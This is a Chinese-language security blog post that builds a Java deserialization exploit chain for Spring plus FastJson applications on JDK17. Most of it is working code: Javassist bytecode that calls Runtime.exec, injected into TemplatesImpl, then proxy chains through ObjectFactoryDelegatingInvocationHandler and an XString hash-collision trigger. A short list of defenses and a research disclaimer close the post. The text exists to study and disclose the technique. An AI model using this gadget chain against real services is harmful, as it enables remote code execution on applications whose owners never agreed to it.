spring+fastjosn 杀穿jdk gadegt
字数 985 2025-09-23 19:27:38

Spring + FastJson 反序列化漏洞利用分析(JDK17 环境)

0x01 背景与问题分析

核心问题

在 JDK17 环境下,传统的反序列化利用方式面临两个主要问题:

  1. 模块系统限制:JDK17 的模块系统限制了跨模块的访问,导致传统利用链失效
  2. serialVersionUID 不一致:高低版本 Spring 的 AOP 组件以及某些类的 serialVersionUID 不一致,导致反序列化失败

解决方案思路

  1. 使用 JdkDynamicAopProxy 代理 javax.xml.transform.Templates,通过 AOP 让调用发生在同一模块内
  2. 寻找在 JDK8 和 JDK17 上 serialVersionUID 一致的触发头,避免版本兼容性问题

0x02 关键技术点

1. 使用 XString 触发 toString

com.sun.org.apache.xpath.internal.objects.XString 及其子类在 JDK8 和 JDK17 上有相同的 serialVersionUID,可用于触发 toString:

Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars");
Object xstring = utils.createWithoutConstructor(aClass1);
utils.setFieldValue(xstring, "m_obj", new char[]{});

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("通话", xstring);
hashMap1.put("重地", node);
hashMap2.put("重地", xstring);
hashMap2.put("通话", node);
HashMap map = utils.makeMap(hashMap1, hashMap2);

2. 替代 JdkDynamicAopProxy

JdkDynamicAopProxy 在黑名单中时,可使用 ObjectFactoryDelegatingInvocationHandler

HashMap hashMap = new HashMap<>();
hashMap.put("object", templates);
JSONObject jsonObject = new JSONObject(hashMap);

Object o2 = Proxy.newProxyInstance(
    Thread.currentThread().getContextClassLoader(),
    new Class[]{ObjectFactory.class},
    jsonObject
);

Object inv = utils.createWithoutConstructor(
    "org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"
);
utils.setFieldValue(inv, "objectFactory", o2);

Object o = Proxy.newProxyInstance(
    Thread.currentThread().getContextClassLoader(),
    new Class[]{Templates.class},
    (InvocationHandler)inv
);

3. FastJson 的特殊处理

FastJson 1.2.48+ 使用 SecureObjectInputStream 进行反序列化,需要添加 JVM 参数:

--add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.io=ALL-UNNAMED

0x03 完整利用链构造

1. 准备 TemplatesImpl

ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open .\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] classBytes = cc.toBytecode();

CtClass ctClass1 = pool.makeClass("Foo");
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object templates = utils.createWithoutConstructor(aClass);
utils.setFieldValue(templates, "_name", "n1ght");
utils.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ctClass1.toBytecode()});

2. 构造代理链

HashMap hashMap = new HashMap<>();
hashMap.put("object", templates);
JSONObject jsonObject = new JSONObject(hashMap);

Object o2 = Proxy.newProxyInstance(
    Thread.currentThread().getContextClassLoader(),
    new Class[]{ObjectFactory.class},
    jsonObject
);

Object inv = utils.createWithoutConstructor(
    "org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"
);
utils.setFieldValue(inv, "objectFactory", o2);

Object o = Proxy.newProxyInstance(
    Thread.currentThread().getContextClassLoader(),
    new Class[]{Templates.class},
    (InvocationHandler)inv
);

3. 构造触发链

JSONArray objects = new JSONArray();
objects.add(o);

Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars");
Object xstring = utils.createWithoutConstructor(aClass1);
utils.setFieldValue(xstring, "m_obj", new char[]{});

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("通话", xstring);
hashMap1.put("重地", objects);
hashMap2.put("重地", xstring);
hashMap2.put("通话", objects);

HashMap map = utils.makeMap(hashMap1, hashMap2);
ArrayList arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(o);
arrayList.add(map);

4. 序列化与反序列化

byte[] serialize = utils.serialize(arrayList);
utils.unserialize(Base64.getDecoder().decode("BASE64_ENCODED_PAYLOAD"));

0x04 注意事项

  1. 环境要求:需要 Spring + FastJson 环境
  2. JDK 版本:该方法在 JDK17 环境下测试通过
  3. 模块开放:需要目标应用开放相应的模块访问权限
  4. 依赖版本:需要注意 Spring 和 FastJson 的版本兼容性

0x05 防御建议

  1. 检查并过滤反序列化数据流
  2. 使用安全的反序列化框架或方法
  3. 限制 JVM 的模块开放权限
  4. 及时更新相关组件的安全补丁

参考资源


本文仅用于安全研究和技术教育目的,请勿用于非法用途。

Spring + FastJson 反序列化漏洞利用分析(JDK17 环境) 0x01 背景与问题分析 核心问题 在 JDK17 环境下,传统的反序列化利用方式面临两个主要问题: 模块系统限制 :JDK17 的模块系统限制了跨模块的访问,导致传统利用链失效 serialVersionUID 不一致 :高低版本 Spring 的 AOP 组件以及某些类的 serialVersionUID 不一致,导致反序列化失败 解决方案思路 使用 JdkDynamicAopProxy 代理 javax.xml.transform.Templates ,通过 AOP 让调用发生在同一模块内 寻找在 JDK8 和 JDK17 上 serialVersionUID 一致的触发头,避免版本兼容性问题 0x02 关键技术点 1. 使用 XString 触发 toString com.sun.org.apache.xpath.internal.objects.XString 及其子类在 JDK8 和 JDK17 上有相同的 serialVersionUID,可用于触发 toString: 2. 替代 JdkDynamicAopProxy 当 JdkDynamicAopProxy 在黑名单中时,可使用 ObjectFactoryDelegatingInvocationHandler : 3. FastJson 的特殊处理 FastJson 1.2.48+ 使用 SecureObjectInputStream 进行反序列化,需要添加 JVM 参数: 0x03 完整利用链构造 1. 准备 TemplatesImpl 2. 构造代理链 3. 构造触发链 4. 序列化与反序列化 0x04 注意事项 环境要求 :需要 Spring + FastJson 环境 JDK 版本 :该方法在 JDK17 环境下测试通过 模块开放 :需要目标应用开放相应的模块访问权限 依赖版本 :需要注意 Spring 和 FastJson 的版本兼容性 0x05 防御建议 检查并过滤反序列化数据流 使用安全的反序列化框架或方法 限制 JVM 的模块开放权限 及时更新相关组件的安全补丁 参考资源 FastJson 与原生反序列化 本文仅用于安全研究和技术教育目的,请勿用于非法用途。